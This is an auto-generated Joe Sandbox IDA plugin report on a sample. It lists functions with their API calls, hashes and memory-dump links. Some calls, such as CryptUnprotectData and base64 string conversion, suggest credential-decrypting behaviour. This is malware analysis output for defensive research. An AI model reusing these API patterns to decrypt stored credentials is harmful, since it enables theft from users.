Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset
String ID: ~q\l
API String ID: 2221118986-2912761343
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 0a84fddbd78b354d0c553af492b182b6f2fc5916700281fe00f5931bf5ec5a11
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2BB1D672E0421ACFDB14CF58CC816EDB7B2EF85314F14126AC949EB795D730A989CB94

Function 013D8162 Relevance: 7.9, Strings: 5, Instructions: 1641COMMON

Download Yara Rule

Strings

& z., xrefs: 013D84B9
Aix, xrefs: 013D8C1D
LP>k, xrefs: 013D8FA5
CF3O, xrefs: 013D8316
F=, xrefs: 013D935D

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: & z.$Aix$CF3O$F=$LP>k
API String ID: 0-3091791717
Opcode ID: dcbdebff2b890ff22deb2f0bcb90b91a92590f6ee8fca484de6f912ca406324b
Instruction ID: b9f89647481dfa4c7a1dd82dfba91b43c9f9c3c2b25675952339e8e386cddd9e
Opcode Fuzzy Hash: dcbdebff2b890ff22deb2f0bcb90b91a92590f6ee8fca484de6f912ca406324b
Instruction Fuzzy Hash: C3B205F3A082149FE3047E2DEC8567ABBE9EF94720F1A493DEAC4C3744E63558058697

Function 01016920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0101696C
sscanf.NTDLL ref: 01016999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010169B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010169C0
ExitProcess.KERNEL32 ref: 010169DA

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 16e5dddb07eb53fdc40121228fb036d89dd6a64c8e671a1db9688968927932b1
Instruction ID: 6ab07bcfdc5d88c5d5798f8d93dc657ce0c8445f96bf51b0feea3ace099d30f1
Opcode Fuzzy Hash: 16e5dddb07eb53fdc40121228fb036d89dd6a64c8e671a1db9688968927932b1
Instruction Fuzzy Hash: AE21FCB5D04209ABDF14EFE4E9499EEB7B9FF48300F04852EE506E3244EB355605CB65

Function 01007240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0100724D
RtlAllocateHeap.NTDLL(00000000), ref: 01007254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 01007281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 010072A4
LocalFree.KERNEL32(?), ref: 010072AE

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 183f511dba7a2a71f3d2cda89d2d63bdedda979e3ff1fd6e98af41d9d282f1a9
Instruction ID: 19420cdd6cc34d1034f424b6731372435a089a1d07a68781bd94eae1f6b459a1
Opcode Fuzzy Hash: 183f511dba7a2a71f3d2cda89d2d63bdedda979e3ff1fd6e98af41d9d282f1a9
Instruction Fuzzy Hash: E30100B5A80208BBEB24DF94DD4AF9D77B8EB44704F104145FB06AB2C4D670AA008B65

Function 013E2308 Relevance: 6.6, Strings: 4, Instructions: 1626COMMON

Download Yara Rule

Strings

qh_Y, xrefs: 013E2A5E
Zd]_, xrefs: 013E2433
k5z, xrefs: 013E23AA
ph_Y, xrefs: 013E2AF8, 013E2B0B

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Zd]_$k5z$ph_Y$qh_Y
API String ID: 0-2130646706
Opcode ID: fc05b6937ebd41be5fe31423119ce725012bd2295b3c16f2c0c266f8f21f4d5c
Instruction ID: 0cbf1ad9b51db21f3bf939a654431b7a3fb71e1ab2039d1274fed3a03cb4c74c
Opcode Fuzzy Hash: fc05b6937ebd41be5fe31423119ce725012bd2295b3c16f2c0c266f8f21f4d5c
Instruction Fuzzy Hash: 8CB239F3A0C2109FE7046E2DDC8567ABBE9EF94320F1A493DE6C4C7744EA7598018697

Function 013D9B90 Relevance: 6.6, Strings: 4, Instructions: 1577COMMON

Download Yara Rule

Strings

G_], xrefs: 013D9E2D
&te~, xrefs: 013DA2B8
n)-, xrefs: 013DA26E
FQ.U, xrefs: 013DAB8C

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &te~$FQ.U$G_]$n)-
API String ID: 0-1503732560
Opcode ID: f2c11670b58f13f7a16a89e4a475335389cd7e0a12b5e30e285ff42dec815e20
Instruction ID: 07c563cedf83bb7f3dd8046473f2d353d7e5dfee09cbf1df21bde69119e07644
Opcode Fuzzy Hash: f2c11670b58f13f7a16a89e4a475335389cd7e0a12b5e30e285ff42dec815e20
Instruction Fuzzy Hash: 9EB2F4F3A0C200AFE7046E2DEC8577ABBE5EF94720F1A492DEAC4C3744E63558158697

Function 013E0AB4 Relevance: 6.4, Strings: 4, Instructions: 1413COMMON

Download Yara Rule

Strings

\L|k, xrefs: 013E1438
Ga_?, xrefs: 013E0F8F
tGVt, xrefs: 013E0E56
]x, xrefs: 013E1069

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Ga_?$\L|k$tGVt$]x
API String ID: 0-3037665190
Opcode ID: 52e151a932d3e00a3b670150f78ca018f5a7040557fa3b189a5ba67f59b88ac8
Instruction ID: 791494f75177e3275cc705532f5a28007ff83261cb0d4f3550b745caf9075ac3
Opcode Fuzzy Hash: 52e151a932d3e00a3b670150f78ca018f5a7040557fa3b189a5ba67f59b88ac8
Instruction Fuzzy Hash: FA9225F360C2049FE704AE29EC8577AFBE6EFD4320F16893DE6C487744EA3558058696

Function 013DB9B5 Relevance: 6.3, Strings: 4, Instructions: 1314COMMON

Download Yara Rule

Strings

Mxe~, xrefs: 013DBCBD
v>, xrefs: 013DC569
v[w, xrefs: 013DC490
3W~?, xrefs: 013DBEEF

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3W~?$Mxe~$v[w$v>
API String ID: 0-4125214788
Opcode ID: 97af73577e397cc3c9c9fdeb430597cead3cd236f17e48877ae28c11676f3baf
Instruction ID: 39baa49fa3958ef7c51dd9e3008b0b1f7f525e69bc355edea01f1aef14e18d84
Opcode Fuzzy Hash: 97af73577e397cc3c9c9fdeb430597cead3cd236f17e48877ae28c11676f3baf
Instruction Fuzzy Hash: 129218F3A082049FE3046E2DEC8577ABBE9EF98720F19493DE6C5C7744E63598048697

Function 01018EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,01005184,40000001,00000000,00000000,?,01005184), ref: 01018EC0

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 36257a25567d1f3d346bec43600df8d4c92b3bd57971f4d2a10e00f00022925e
Instruction ID: b127c1c78a8af653689aab15e276dcb4e0f71b235bd6f22fbb490deddffbefcb
Opcode Fuzzy Hash: 36257a25567d1f3d346bec43600df8d4c92b3bd57971f4d2a10e00f00022925e
Instruction Fuzzy Hash: 37111F74200205BFDB40CFA4E888FAB33EAAF89304F00D449FA598B245D739E941CB60

Function 01009AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009AEF
LocalAlloc.KERNEL32(00000040,?,?,?,01004EEE,00000000,?), ref: 01009B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009B2A
LocalFree.KERNEL32(?,?,?,?,01004EEE,00000000,?), ref: 01009B3F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
